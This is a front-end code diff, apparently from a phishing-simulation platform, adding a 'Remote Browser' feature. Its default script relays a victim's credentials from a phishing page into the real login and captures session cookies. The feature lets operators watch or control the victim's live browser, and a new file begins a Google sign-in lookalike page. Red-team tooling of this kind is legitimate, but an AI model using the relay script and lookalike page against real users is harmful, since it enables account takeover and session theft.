<path d="M5.28 4.22a.75.75 0 0 0-1.06 1.06L6.94 8l-2.72 2.72a.75.75 0 1 0 1.06 1.06L8 9.06l2.72 2.72a.75.75 0 1 0 1.06-1.06L9.06 8l2.72-2.72a.75.75 0 0 0-1.06-1.06L8 6.94 5.28 4.22Z" />
|
||||
</svg>
|
||||
</button>
|
||||
</div>
|
||||
<div
|
||||
bind:this={logPanelEl}
|
||||
on:wheel={onLogPanelWheel}
|
||||
on:scroll={onLogPanelScroll}
|
||||
class="flex-1 overflow-y-auto font-mono text-xs text-gray-200 p-2 space-y-0.5 select-text"
|
||||
>
|
||||
{#if runLog.length === 0}
|
||||
<span class="text-gray-500">No events yet.</span>
|
||||
{:else}
|
||||
{#each runLog as entry}
|
||||
<div
|
||||
class="leading-5 {entry.type === 'event'
|
||||
? 'text-blue-300'
|
||||
: entry.type === 'sent'
|
||||
? 'text-orange-300'
|
||||
: entry.type === 'capture'
|
||||
? 'text-purple-300'
|
||||
: entry.type === 'submit'
|
||||
? 'text-amber-300'
|
||||
: entry.type === 'info'
|
||||
? 'text-sky-300'
|
||||
: entry.type === 'screenshot'
|
||||
? 'text-teal-300'
|
||||
: entry.type === 'error'
|
||||
? 'text-red-400'
|
||||
: entry.type === 'done'
|
||||
? 'text-green-400'
|
||||
: 'text-gray-400'}"
|
||||
>
|
||||
{#if entry.type === 'event'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-blue-400"> emit </span>
|
||||
<span class="text-yellow-400">{entry.key}</span>
|
||||
<span class="text-gray-300"> = </span>
|
||||
<span>{JSON.stringify(entry.value)}</span>
|
||||
{:else if entry.type === 'sent'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-orange-400"> → {entry.event}</span>
|
||||
{#if entry.data !== null && entry.data !== undefined && entry.data !== ''}
|
||||
<span class="text-gray-300"> data=</span><span>{JSON.stringify(entry.data)}</span>
|
||||
{/if}
|
||||
{:else if entry.type === 'screenshot'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-teal-400"> 📷 {entry.key || 'screenshot'}</span>
|
||||
{#if entry.url}
|
||||
<span class="text-gray-500 ml-1 truncate">{entry.url}</span>
|
||||
{/if}
|
||||
{:else if entry.type === 'info'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-sky-400"> ℹ info</span>
|
||||
<span class="text-sky-200 ml-1">{entry.message}</span>
|
||||
{:else if entry.type === 'submit'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-amber-400"> ⬆ submitData</span>
|
||||
<pre class="mt-1 text-xs text-amber-200 bg-gray-800 rounded p-1.5 overflow-x-auto max-h-40 overflow-y-auto select-text">{JSON.stringify(entry.value, null, 2)}</pre>
|
||||
{:else if entry.type === 'capture'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-purple-400"> ★ capture</span>
|
||||
{#if entry.value?.cookies}
|
||||
<span class="text-gray-400"> · {entry.value.cookies.length} cookies</span>
|
||||
{/if}
|
||||
{#if entry.value?.localStorage}
|
||||
<span class="text-gray-400"> · {Object.keys(entry.value.localStorage).length} localStorage</span>
|
||||
{/if}
|
||||
{:else if entry.type === 'done'}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span class="text-green-400"> ✓ done</span>
|
||||
{:else}
|
||||
<span class="text-gray-500">[{entry.time?.slice(11, 23)}]</span>
|
||||
<span> {entry.message}</span>
|
||||
{#if entry.data !== undefined && entry.data !== null}
|
||||
<span class="text-cyan-300"> {JSON.stringify(entry.data)}</span>
|
||||
{/if}
|
||||
{/if}
|
||||
</div>
|
||||
{/each}
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
{#if isRunning}
|
||||
<div class="border-t border-gray-700/60 px-2 py-1.5 flex-shrink-0 flex gap-2 items-center">
|
||||
<input
|
||||
type="text"
|
||||
bind:value={injectEvent}
|
||||
placeholder="event name"
|
||||
class="w-28 px-2 py-0.5 text-xs rounded border border-gray-600 bg-gray-800 text-gray-200 font-mono focus:outline-none focus:ring-1 focus:ring-orange-500"
|
||||
on:keydown={(e) => { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }}
|
||||
/>
|
||||
<input
|
||||
type="text"
|
||||
bind:value={injectData}
|
||||
placeholder='data JSON'
|
||||
class="flex-1 px-2 py-0.5 text-xs rounded border border-gray-600 bg-gray-800 text-gray-200 font-mono focus:outline-none focus:ring-1 focus:ring-orange-500"
|
||||
on:keydown={(e) => { if (e.key === 'Enter') { e.preventDefault(); sendInject(); } e.stopPropagation(); }}
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
class="px-2.5 py-0.5 text-xs bg-orange-600 hover:bg-orange-700 text-white rounded transition-colors whitespace-nowrap"
|
||||
on:click={sendInject}
|
||||
>
|
||||
Send
|
||||
</button>
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
{#if controlMode}
|
||||
<p class="text-xs text-gray-400 mt-2 flex-shrink-0">
|
||||
Mouse and keyboard are captured while this modal is open.
|
||||
</p>
|
||||
{/if}
|
||||
</div>
|
||||
</Modal>
|
||||
@@ -26,54 +26,34 @@
|
||||
activeFormElement.set(dropdownId); // set this as active, closing others
|
||||
|
||||
const viewportHeight = window.innerHeight;
|
||||
const buffer = 20; // extra space to ensure some padding from viewport edges
|
||||
const minHeight = 64; // minimum dropdown height
|
||||
const maxHeight = 400; // maximum dropdown height
|
||||
const viewportWidth = window.innerWidth;
|
||||
const buffer = 20;
|
||||
const minHeight = 64;
|
||||
const maxHeight = 400;
|
||||
const gap = 8;
|
||||
|
||||
let clickViewportY, pageX, pageY;
|
||||
const buttonRect = buttonRef.getBoundingClientRect();
|
||||
|
||||
// handle both mouse and keyboard events
|
||||
if (e.clientY !== undefined && e.pageX !== undefined) {
|
||||
// mouse event
|
||||
clickViewportY = e.clientY;
|
||||
pageX = e.pageX;
|
||||
pageY = e.pageY;
|
||||
} else {
|
||||
// keyboard event - use button position
|
||||
const buttonRect = buttonRef.getBoundingClientRect();
|
||||
clickViewportY = buttonRect.top;
|
||||
pageX = buttonRect.left + window.scrollX;
|
||||
pageY = buttonRect.top + window.scrollY;
|
||||
}
|
||||
|
||||
// calculate available space above and below
|
||||
const spaceAbove = clickViewportY - buffer;
|
||||
const spaceBelow = viewportHeight - clickViewportY - buffer;
|
||||
|
||||
// choose position based on available space, with preference for below
|
||||
const spaceAbove = buttonRect.top - buffer;
|
||||
const spaceBelow = viewportHeight - buttonRect.bottom - buffer;
|
||||
const shouldShowAbove = spaceBelow < minHeight && spaceAbove > spaceBelow;
|
||||
const availableSpace = shouldShowAbove ? spaceAbove : spaceBelow;
|
||||
|
||||
// calculate optimal height within bounds
|
||||
const optimalHeight = Math.min(Math.max(availableSpace, minHeight), maxHeight);
|
||||
|
||||
// find position
|
||||
const gap = 8; // small gap between menu and cursor/button
|
||||
menuX = pageX - 256;
|
||||
const menuWidth = 256;
|
||||
const spaceOnRight = viewportWidth - buttonRect.right - buffer;
|
||||
menuX = spaceOnRight >= menuWidth ? buttonRect.left : buttonRect.right - menuWidth;
|
||||
menuX = Math.max(buffer, Math.min(menuX, viewportWidth - menuWidth - buffer));
|
||||
|
||||
if (shouldShowAbove) {
|
||||
// calculate actual menu height by temporarily showing it
|
||||
menuRef.style.visibility = 'hidden';
|
||||
menuRef.style.display = 'block';
|
||||
const actualMenuHeight = menuRef.scrollHeight;
|
||||
menuRef.style.display = '';
|
||||
menuRef.style.visibility = '';
|
||||
|
||||
// position above by moving up by the actual menu height
|
||||
menuY = pageY - actualMenuHeight - gap;
|
||||
menuY = buttonRect.top - actualMenuHeight - gap;
|
||||
} else {
|
||||
// for below positioning, use original click/button position
|
||||
menuY = pageY + gap;
|
||||
menuY = buttonRect.bottom + gap;
|
||||
}
|
||||
|
||||
menuRef.style = `left: ${menuX}px; top: ${menuY}px; max-height: ${optimalHeight}px`;
|
||||
@@ -160,7 +140,7 @@
|
||||
|
||||
<div
|
||||
bind:this={menuRef}
|
||||
class="absolute bg-white dark:bg-gray-900/90 drop-shadow-md dark:shadow-gray-900/50 border dark:border-gray-700/60 z-20 w-64 rounded-md overflow-y-scroll transition-colors duration-200 {scrollBarClassesVertical}"
|
||||
class="fixed bg-white dark:bg-gray-900/90 drop-shadow-md dark:shadow-gray-900/50 border dark:border-gray-700/60 z-50 w-64 rounded-md overflow-y-scroll transition-colors duration-200 {scrollBarClassesVertical}"
|
||||
class:hidden={!isMenuVisible}
|
||||
>
|
||||
<ul class="flex flex-col text-left">
|
||||
|
||||
@@ -55,7 +55,7 @@
|
||||
class="font-bold text-slate-600 dark:text-gray-200 text-{alignText} flex transition-colors duration-200"
|
||||
>
|
||||
{#if !isGhost}
|
||||
{title.length ? title : column}
|
||||
{title?.length ? title : column}
|
||||
{:else}
|
||||
<GhostText />
|
||||
{/if}
|
||||
|
||||
@@ -26,7 +26,7 @@
|
||||
|
||||
<TableHead>
|
||||
<TableRow>
|
||||
{#each columns as column, i (i)}
|
||||
{#each columns as column, i (typeof column === 'object' ? column.column : column)}
|
||||
{#if typeof column === 'object'}
|
||||
<TableHeadCell
|
||||
{...column}
|
||||
|
||||
@@ -66,6 +66,10 @@ export const route = {
|
||||
route: '/proxy/',
|
||||
blackbox: true
|
||||
},
|
||||
remoteBrowser: {
|
||||
label: 'Remote Browsers',
|
||||
route: '/remote-browser/'
|
||||
},
|
||||
campaignTemplates: {
|
||||
label: 'Templates',
|
||||
singleLabel: 'Templates',
|
||||
@@ -137,6 +141,12 @@ export const menu = [
|
||||
route.apiSenders,
|
||||
route.oauthProviders
|
||||
]
|
||||
},
|
||||
{
|
||||
label: 'Remote Browsers',
|
||||
type: 'submenu',
|
||||
blackbox: true,
|
||||
items: [route.remoteBrowser]
|
||||
}
|
||||
];
|
||||
|
||||
|
||||
@@ -49,6 +49,8 @@
|
||||
import FormFooter from '$lib/components/FormFooter.svelte';
|
||||
import TextFieldSelect from '$lib/components/TextFieldSelect.svelte';
|
||||
import { resourceContext } from '$lib/store/resourceContext';
|
||||
import RemoteBrowserStream from '$lib/components/remote-browser/RemoteBrowserStream.svelte';
|
||||
import LiveSessionBadgeDropdown from '$lib/components/remote-browser/LiveSessionBadgeDropdown.svelte';
|
||||
|
||||
// services
|
||||
const appStateService = AppStateService.instance;
|
||||
@@ -169,6 +171,17 @@
|
||||
let setAsSentRecipient = null;
|
||||
let lastPoll3399Nano = '';
|
||||
|
||||
// live remote browser sessions
|
||||
/** @type {Map<string, {crID: string, campaignID: string, recipientID: string, createdAt: string, victimConnected: boolean}>} */
|
||||
let liveSessions = new Map();
|
||||
let liveSessionPollInterval = null;
|
||||
let streamModalVisible = false;
|
||||
let streamCRID = '';
|
||||
let streamControlMode = false;
|
||||
let streamEmail = '';
|
||||
let isTerminateSessionAlertVisible = false;
|
||||
let terminateSessionCRID = '';
|
||||
|
||||
// hooks
|
||||
onMount(() => {
|
||||
const context = appStateService.getContext();
|
||||
@@ -186,14 +199,55 @@
|
||||
await refreshCampaignEventsSince();
|
||||
})();
|
||||
|
||||
// poll live sessions every 5 seconds
|
||||
liveSessionPollInterval = setInterval(refreshLiveSessions, 5000);
|
||||
refreshLiveSessions();
|
||||
|
||||
// cleanup resource context when leaving page
|
||||
return () => {
|
||||
recipientTableUrlParams.unsubscribe();
|
||||
eventsTableURLParams.unsubscribe();
|
||||
resourceContext.clear();
|
||||
clearInterval(liveSessionPollInterval);
|
||||
};
|
||||
});
|
||||
|
||||
const refreshLiveSessions = async () => {
|
||||
try {
|
||||
const campaignID = $page.params.id;
|
||||
const res = await api.remoteBrowser.getLiveSessions(campaignID);
|
||||
if (!res.success) return;
|
||||
const map = new Map();
|
||||
for (const s of res.data ?? []) {
|
||||
map.set(s.crID, s);
|
||||
}
|
||||
liveSessions = map;
|
||||
} catch {
|
||||
// network error during poll — silently skip this tick
|
||||
}
|
||||
};
|
||||
|
||||
const openStreamModal = (crID, control, recipientEmail = '') => {
|
||||
streamCRID = crID;
|
||||
streamControlMode = control;
|
||||
streamEmail = recipientEmail;
|
||||
streamModalVisible = true;
|
||||
};
|
||||
|
||||
const openTerminateAlert = (crID) => {
|
||||
terminateSessionCRID = crID;
|
||||
isTerminateSessionAlertVisible = true;
|
||||
};
|
||||
|
||||
const doTerminateSession = async () => {
|
||||
const res = await api.remoteBrowser.closeLiveSession(terminateSessionCRID);
|
||||
if (!res.success) {
|
||||
return { success: false, error: 'Failed to terminate session' };
|
||||
}
|
||||
await refreshLiveSessions();
|
||||
return { success: true };
|
||||
};
|
||||
|
||||
const refresh = async (showLoading = true) => {
|
||||
if (showLoading) {
|
||||
showIsLoading();
|
||||
@@ -1947,6 +2001,7 @@
|
||||
<SubHeadline>Recipients overview</SubHeadline>
|
||||
<Table
|
||||
columns={[
|
||||
...(liveSessions.size > 0 ? [{ column: 'Remote', size: 'small' }] : []),
|
||||
{ column: 'First name', size: 'small' },
|
||||
{ column: 'Last name', size: 'small' },
|
||||
{ column: 'Email', size: 'large' },
|
||||
@@ -1972,6 +2027,29 @@
|
||||
>
|
||||
{#each campaignRecipients as recp (recp.id)}
|
||||
<TableRow>
|
||||
{#if liveSessions.size > 0}
|
||||
<TableCell>
|
||||
{#if liveSessions.has(recp.id)}
|
||||
{@const ls = liveSessions.get(recp.id)}
|
||||
<LiveSessionBadgeDropdown victimConnected={ls.victimConnected}>
|
||||
{#if ls.canStream}
|
||||
<TableDropDownButton
|
||||
name="View"
|
||||
on:click={() => openStreamModal(recp.id, false, recp.recipient?.email)}
|
||||
/>
|
||||
<TableDropDownButton
|
||||
name="Control"
|
||||
on:click={() => openStreamModal(recp.id, true, recp.recipient?.email)}
|
||||
/>
|
||||
{/if}
|
||||
<TableDropDownButton
|
||||
name="Terminate"
|
||||
on:click={() => openTerminateAlert(recp.id)}
|
||||
/>
|
||||
</LiveSessionBadgeDropdown>
|
||||
{/if}
|
||||
</TableCell>
|
||||
{/if}
|
||||
{#if recp?.anonymizedID}
|
||||
<TableCell value={'anonymized'} />
|
||||
<TableCell value={'anonymized'} />
|
||||
@@ -2104,6 +2182,23 @@
|
||||
: ''}
|
||||
on:click={() => onClickPreviewEmail(recp.id)}
|
||||
/>
|
||||
{#if liveSessions.has(recp.id)}
|
||||
{@const ls = liveSessions.get(recp.id)}
|
||||
{#if ls.canStream}
|
||||
<TableViewButton
|
||||
name="View remote session"
|
||||
on:click={() => openStreamModal(recp.id, false, recp.recipient?.email)}
|
||||
/>
|
||||
<TableDropDownButton
|
||||
name="Control remote session"
|
||||
on:click={() => openStreamModal(recp.id, true, recp.recipient?.email)}
|
||||
/>
|
||||
{/if}
|
||||
<TableDropDownButton
|
||||
name="Terminate remote session"
|
||||
on:click={() => openTerminateAlert(recp.id)}
|
||||
/>
|
||||
{/if}
|
||||
</TableDropDownEllipsis>
|
||||
</TableCellAction>
|
||||
{/if}
|
||||
@@ -2112,6 +2207,23 @@
|
||||
</Table>
|
||||
{/if}
|
||||
{/if}
|
||||
<RemoteBrowserStream
|
||||
bind:visible={streamModalVisible}
|
||||
crID={streamCRID}
|
||||
controlMode={streamControlMode}
|
||||
email={streamEmail}
|
||||
on:closed={() => { streamModalVisible = false; refreshLiveSessions(); }}
|
||||
/>
|
||||
|
||||
<Alert
|
||||
headline="Terminate session"
|
||||
bind:visible={isTerminateSessionAlertVisible}
|
||||
onConfirm={doTerminateSession}
|
||||
ok="Yes, terminate"
|
||||
>
|
||||
Are you sure you want to terminate this live session? The victim's browser will be closed.
|
||||
</Alert>
|
||||
|
||||
<Modal headerText={'Events'} visible={isEventsModalVisible} onClose={closeEventsModal}>
|
||||
<div class="mt-8"></div>
|
||||
<Table
|
||||
|
||||
@@ -0,0 +1,391 @@
|
||||
<script>
|
||||
import { page } from '$app/stores';
|
||||
import { api } from '$lib/api/apiProxy.js';
|
||||
import { onMount } from 'svelte';
|
||||
import { newTableURLParams } from '$lib/service/tableURLParams.js';
|
||||
import Headline from '$lib/components/Headline.svelte';
|
||||
import TableRow from '$lib/components/table/TableRow.svelte';
|
||||
import TableCell from '$lib/components/table/TableCell.svelte';
|
||||
import TableUpdateButton from '$lib/components/table/TableUpdateButton.svelte';
|
||||
import TableDeleteButton from '$lib/components/table/TableDeleteButton2.svelte';
|
||||
import TableCopyButton from '$lib/components/table/TableCopyButton.svelte';
|
||||
import FormError from '$lib/components/FormError.svelte';
|
||||
import { addToast } from '$lib/store/toast';
|
||||
import { AppStateService } from '$lib/service/appState';
|
||||
import TableCellEmpty from '$lib/components/table/TableCellEmpty.svelte';
|
||||
import TableCellAction from '$lib/components/table/TableCellAction.svelte';
|
||||
import Modal from '$lib/components/Modal.svelte';
|
||||
import Table from '$lib/components/table/Table.svelte';
|
||||
import HeadTitle from '$lib/components/HeadTitle.svelte';
|
||||
import { getModalText } from '$lib/utils/common';
|
||||
import DeleteAlert from '$lib/components/modal/DeleteAlert.svelte';
|
||||
import AutoRefresh from '$lib/components/AutoRefresh.svelte';
|
||||
import BigButton from '$lib/components/BigButton.svelte';
|
||||
import TableDropDownEllipsis from '$lib/components/table/TableDropDownEllipsis.svelte';
|
||||
import FormGrid from '$lib/components/FormGrid.svelte';
|
||||
import FormFooter from '$lib/components/FormFooter.svelte';
|
||||
import RemoteBrowserEditor from '$lib/components/remote-browser/RemoteBrowserEditor.svelte';
|
||||
|
||||
const appStateService = AppStateService.instance;
|
||||
|
||||
// form state
|
||||
let formValues = {
|
||||
id: null,
|
||||
name: '',
|
||||
description: '',
|
||||
script: defaultScript(),
|
||||
config: JSON.stringify(
|
||||
{ mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 },
|
||||
null,
|
||||
2
|
||||
)
|
||||
};
|
||||
let isSubmitting = false;
|
||||
let formError = '';
|
||||
let savedScript = defaultScript();
|
||||
|
||||
// table state
|
||||
const tableURLParams = newTableURLParams();
|
||||
let contextCompanyID = null;
|
||||
let items = [];
|
||||
let hasNextPage = true;
|
||||
let isTableLoading = false;
|
||||
let featureDisabled = false;
|
||||
|
||||
// modal state
|
||||
let isModalVisible = false;
|
||||
let modalMode = null;
|
||||
let modalText = '';
|
||||
|
||||
// delete state
|
||||
let isDeleteAlertVisible = false;
|
||||
let deleteValues = { id: null, name: null };
|
||||
|
||||
$: modalText = getModalText('Remote Browser', modalMode);
|
||||
|
||||
function defaultScript() {
|
||||
return `// The phishing page sends events here via rb.send("event", data).
|
||||
// This script replays them into the real site and emits events back.
|
||||
|
||||
var s = newSession();
|
||||
s.navigate("https://example.com/login");
|
||||
s.waitVisible("input[type='email']");
|
||||
|
||||
// wait for victim to submit their email on the phishing page
|
||||
var u = waitForEvent("username");
|
||||
s.sendKeys("input[type='email']", u.username);
|
||||
s.click("button[type='submit']");
|
||||
|
||||
// ask the phishing page to show a password field
|
||||
s.waitVisible("input[type='password']");
|
||||
emit("need_password", {});
|
||||
|
||||
var p = waitForEvent("password");
|
||||
s.sendKeys("input[type='password']", p.password);
|
||||
s.click("button[type='submit']");
|
||||
|
||||
// grab session cookies once we land inside the app
|
||||
s.waitVisible("#dashboard");
|
||||
s.capture({
|
||||
domains: ["example.com"],
|
||||
cookieNames: ["session", "auth_token"]
|
||||
});
|
||||
emit("captured", { status: "success" });
|
||||
|
||||
s.keepAlive();
|
||||
s.close();
|
||||
`;
|
||||
}
|
||||
|
||||
onMount(() => {
|
||||
const context = appStateService.getContext();
|
||||
if (context) contextCompanyID = context.companyID;
|
||||
|
||||
refreshItems();
|
||||
tableURLParams.onChange(refreshItems);
|
||||
|
||||
(async () => {
|
||||
const editID = $page.url.searchParams.get('edit');
|
||||
if (editID) await openUpdateModal(editID);
|
||||
})();
|
||||
|
||||
return () => tableURLParams.unsubscribe();
|
||||
});
|
||||
|
||||
const refreshItems = async (showLoading = true) => {
|
||||
try {
|
||||
if (showLoading) isTableLoading = true;
|
||||
const res = await api.remoteBrowser.getAllSubset(tableURLParams, contextCompanyID);
|
||||
if (res.statusCode === 404) {
|
||||
featureDisabled = true;
|
||||
return;
|
||||
}
|
||||
if (res.success) {
|
||||
items = res.data.rows ?? res.data ?? [];
|
||||
hasNextPage = res.data.hasNextPage ?? false;
|
||||
}
|
||||
} catch (e) {
|
||||
addToast('Failed to load Remote Browsers', 'Error');
|
||||
console.error(e);
|
||||
} finally {
|
||||
if (showLoading) isTableLoading = false;
|
||||
}
|
||||
};
|
||||
|
||||
const openCreateModal = () => {
|
||||
formValues = {
|
||||
id: null,
|
||||
name: '',
|
||||
description: '',
|
||||
script: defaultScript(),
|
||||
config: JSON.stringify(
|
||||
{ mode: 'local', remote: '', proxy: '', headless: true, timeout: 300000 },
|
||||
null,
|
||||
2
|
||||
)
|
||||
};
|
||||
savedScript = defaultScript();
|
||||
formError = '';
|
||||
modalMode = 'create';
|
||||
isModalVisible = true;
|
||||
};
|
||||
|
||||
const openUpdateModal = async (id) => {
|
||||
try {
|
||||
const res = await api.remoteBrowser.getByID(id);
|
||||
if (!res.success) throw res.error;
|
||||
const rb = res.data;
|
||||
formValues = {
|
||||
id: rb.id,
|
||||
name: rb.name || '',
|
||||
description: rb.description || '',
|
||||
script: rb.script || defaultScript(),
|
||||
config: rb.config
|
||||
? JSON.stringify(rb.config, null, 2)
|
||||
: JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2)
|
||||
};
|
||||
savedScript = formValues.script;
|
||||
formError = '';
|
||||
modalMode = 'update';
|
||||
isModalVisible = true;
|
||||
} catch (e) {
|
||||
addToast('Failed to load Remote Browser', 'Error');
|
||||
console.error(e);
|
||||
}
|
||||
};
|
||||
|
||||
const closeModal = () => {
|
||||
isModalVisible = false;
|
||||
formError = '';
|
||||
};
|
||||
|
||||
const onEditorChange = (event) => {
|
||||
const { name, description, script, config } = event.detail;
|
||||
formValues = { ...formValues, name, description, script, config };
|
||||
};
|
||||
|
||||
const openCopyModal = async (id) => {
|
||||
try {
|
||||
const res = await api.remoteBrowser.getByID(id);
|
||||
if (!res.success) throw res.error;
|
||||
const rb = res.data;
|
||||
formValues = {
|
||||
id: null,
|
||||
name: rb.name ? `${rb.name} (copy)` : '',
|
||||
description: rb.description || '',
|
||||
script: rb.script || defaultScript(),
|
||||
config: rb.config
|
||||
? JSON.stringify(rb.config, null, 2)
|
||||
: JSON.stringify({ mode: 'local', headless: true, timeout: 300000 }, null, 2)
|
||||
};
|
||||
savedScript = formValues.script;
|
||||
formError = '';
|
||||
modalMode = 'copy';
|
||||
isModalVisible = true;
|
||||
} catch (e) {
|
||||
addToast('Failed to load Remote Browser', 'Error');
|
||||
console.error(e);
|
||||
}
|
||||
};
|
||||
|
||||
const onSubmit = async (event) => {
|
||||
isSubmitting = true;
|
||||
try {
|
||||
const saveOnly = event?.detail?.saveOnly || false;
|
||||
if (modalMode === 'create' || modalMode === 'copy') {
|
||||
await create();
|
||||
} else {
|
||||
await update(saveOnly);
|
||||
}
|
||||
} finally {
|
||||
isSubmitting = false;
|
||||
}
|
||||
};
|
||||
|
||||
const create = async () => {
|
||||
try {
|
||||
const res = await api.remoteBrowser.create({
|
||||
name: formValues.name,
|
||||
description: formValues.description,
|
||||
script: formValues.script,
|
||||
config: JSON.parse(formValues.config),
|
||||
companyID: contextCompanyID
|
||||
});
|
||||
if (!res.success) {
|
||||
formError = res.error;
|
||||
return;
|
||||
}
|
||||
formError = '';
|
||||
addToast('Remote Browser created', 'Success');
|
||||
// Stay in the modal - switch to update mode so the user can run/test immediately.
|
||||
formValues = { ...formValues, id: res.data.id };
|
||||
savedScript = formValues.script;
|
||||
modalMode = 'update';
|
||||
refreshItems();
|
||||
} catch (e) {
|
||||
addToast('Failed to create Remote Browser', 'Error');
|
||||
console.error(e);
|
||||
}
|
||||
};
|
||||
|
||||
const update = async (saveOnly = false) => {
|
||||
try {
|
||||
const res = await api.remoteBrowser.update(formValues.id, {
|
||||
name: formValues.name,
|
||||
description: formValues.description,
|
||||
script: formValues.script,
|
||||
config: JSON.parse(formValues.config)
|
||||
});
|
||||
if (!res.success) {
|
||||
formError = res.error;
|
||||
return;
|
||||
}
|
||||
formError = '';
|
||||
savedScript = formValues.script;
|
||||
addToast(saveOnly ? 'Saved' : 'Remote Browser updated', 'Success');
|
||||
if (!saveOnly) {
|
||||
closeModal();
|
||||
refreshItems();
|
||||
}
|
||||
} catch (e) {
|
||||
addToast(saveOnly ? 'Failed to save' : 'Failed to update Remote Browser', 'Error');
|
||||
console.error(e);
|
||||
}
|
||||
};
|
||||
|
||||
const onClickDelete = async (id) => {
|
||||
const res = await api.remoteBrowser.delete(id);
|
||||
if (res.success) {
|
||||
refreshItems();
|
||||
return res;
|
||||
}
|
||||
throw res.error;
|
||||
};
|
||||
</script>
|
||||
|
||||
<HeadTitle title="Remote Browsers" />
|
||||
|
||||
<div class="col-start-1 col-end-13 row-start-1 px-4">
|
||||
<div class="flex justify-between items-center">
|
||||
<div class="flex items-center gap-3">
|
||||
<Headline>Remote Browsers</Headline>
|
||||
<span
|
||||
class="px-2 py-0.5 text-xs font-medium rounded bg-slate-200 text-slate-500 dark:bg-slate-700 dark:text-slate-400"
|
||||
>Experimental</span
|
||||
>
|
||||
</div>
|
||||
<AutoRefresh isLoading={false} onRefresh={() => refreshItems(false)} />
|
||||
</div>
|
||||
|
||||
{#if featureDisabled}
|
||||
<div class="mt-6 rounded-lg border border-slate-700 bg-slate-800/50 px-6 py-8 max-w-xl">
|
||||
<p class="text-sm font-semibold text-white mb-1">Remote Browser is not enabled</p>
|
||||
<p class="text-sm text-slate-400 mb-3">
|
||||
This feature is disabled by default for security reasons. When enabled, the server runs a
|
||||
browser under the application process. Any operator with access to the script editor can
|
||||
execute arbitrary commands on the host.
|
||||
</p>
|
||||
<p class="text-sm text-slate-400 mb-4">
|
||||
To enable it, set <code class="text-slate-200 bg-slate-700 px-1 rounded">enabled: true</code
|
||||
>
|
||||
in the <code class="text-slate-200 bg-slate-700 px-1 rounded">remote_browser</code> block of
|
||||
<code class="text-slate-200 bg-slate-700 px-1 rounded">config.json</code> and retart the service.
|
||||
</p>
|
||||
<a
|
||||
href="https://phishing.club/guide/remote-browser/#enabling"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
class="text-sm text-blue-400 hover:text-blue-300 underline">Read the setup guide</a
|
||||
>
|
||||
</div>
|
||||
{:else}
|
||||
<BigButton on:click={openCreateModal}>New Remote Browser</BigButton>
|
||||
|
||||
<Table
|
||||
columns={[{ column: 'Name', size: 'large' }, { column: 'Description' }]}
|
||||
sortable={['Name']}
|
||||
hasData={!!items.length}
|
||||
{hasNextPage}
|
||||
plural="remote browsers"
|
||||
pagination={tableURLParams}
|
||||
isGhost={isTableLoading}
|
||||
>
|
||||
{#each items as item (item.id)}
|
||||
<TableRow>
|
||||
<TableCell>
|
||||
<button class="block w-full py-1 text-left" on:click={() => openUpdateModal(item.id)}
|
||||
>{item.name}</button
|
||||
>
|
||||
</TableCell>
|
||||
<TableCell>{item.description || ''}</TableCell>
|
||||
<TableCellEmpty />
|
||||
<TableCellAction>
|
||||
<TableDropDownEllipsis>
|
||||
<TableUpdateButton on:click={() => openUpdateModal(item.id)} />
|
||||
<TableCopyButton title="Copy" on:click={() => openCopyModal(item.id)} />
|
||||
<TableDeleteButton
|
||||
on:click={() => {
|
||||
deleteValues = { id: item.id, name: item.name };
|
||||
isDeleteAlertVisible = true;
|
||||
}}
|
||||
/>
|
||||
</TableDropDownEllipsis>
|
||||
</TableCellAction>
|
||||
</TableRow>
|
||||
{/each}
|
||||
</Table>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
<!-- Editor modal (always fullscreen) -->
|
||||
<Modal
|
||||
bind:visible={isModalVisible}
|
||||
headerText={modalText}
|
||||
fullscreen={true}
|
||||
onClose={closeModal}
|
||||
{isSubmitting}
|
||||
>
|
||||
<FormGrid on:submit={onSubmit} {isSubmitting} {modalMode}>
|
||||
<div class="col-span-3 flex flex-col min-h-0 overflow-hidden px-4 py-4">
|
||||
<RemoteBrowserEditor
|
||||
bind:name={formValues.name}
|
||||
bind:description={formValues.description}
|
||||
bind:script={formValues.script}
|
||||
bind:config={formValues.config}
|
||||
id={formValues.id}
|
||||
{savedScript}
|
||||
on:change={onEditorChange}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<FormError message={formError} />
|
||||
|
||||
<FormFooter {closeModal} {isSubmitting} okText={modalMode === 'create' ? 'Create' : 'Update'} />
|
||||
</FormGrid>
|
||||
</Modal>
|
||||
|
||||
<DeleteAlert
|
||||
bind:isVisible={isDeleteAlertVisible}
|
||||
name={deleteValues.name}
|
||||
onClick={() => onClickDelete(deleteValues.id)}
|
||||
/>
|
||||
@@ -21,6 +21,7 @@ export default defineConfig({
|
||||
'/api/': {
|
||||
target: 'https://backend:8002',
|
||||
secure: false,
|
||||
ws: true,
|
||||
},
|
||||
},
|
||||
},
|
||||
|
||||
@@ -0,0 +1,636 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Sign in - Google Accounts</title>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Google+Sans:wght@400;500&family=Roboto:wght@400;500&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<style>
|
||||
* { box-sizing: border-box; margin: 0; padding: 0; }
|
||||
|
||||
body {
|
||||
font-family: "Google Sans", Roboto, Arial, sans-serif;
|
